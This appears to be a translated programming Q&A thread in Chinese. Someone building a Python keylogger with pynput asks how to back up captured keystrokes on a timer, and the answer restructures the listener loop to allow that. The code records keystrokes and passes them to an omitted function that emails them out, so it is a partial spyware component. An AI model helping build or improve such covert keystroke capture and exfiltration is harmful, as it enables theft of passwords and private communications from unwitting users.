如何定期从 pynput.listener 回调？

Question

我正在编写一个键盘记录器，需要帮助在不停止监听器的情况下备份它。

我正在用 python 编写一个键盘记录器，它写入一个 .txt 文件，然后通过电子邮件发送。我需要定期将击键的临时列表写入文件，作为备份。但是，我似乎只能在 on_press 或 on_release 回调中执行此操作，这意味着当文件通过电子邮件发送时，我无法获取额外的击键，所以我想根据经过的时间而不是按下的键进行备份.

def on_press(key):
    global keystrokes
    keystrokes.append(key)
    if len(keystrokes)==100:
        write_send(keystrokes) #This is the function that does all my file 
                                writing and emailing, not included.

def on_release(key):
    #On_release script here, not included

while True:
    with Listener(on_press=on_press,on_release=on_release) as listener:
        listener.join()

Answer 1

代替

while True:
    with Listener(on_press=on_press,on_release=on_release) as listener: 
         listener.join()

你可以的

with Listener(on_press=on_press,on_release=on_release) as listener: 

     while True:
         # ... check time and write in file ...

     # listener.stop()  
     listener.join()

或者您可以在Listener 中使用函数start()（和stop()）并将其写为：

listener = Listener(on_press=on_press,on_release=on_release)
listener.start()   

while True:
    # ... check time and write in file ...

listener.stop()   
listener.join()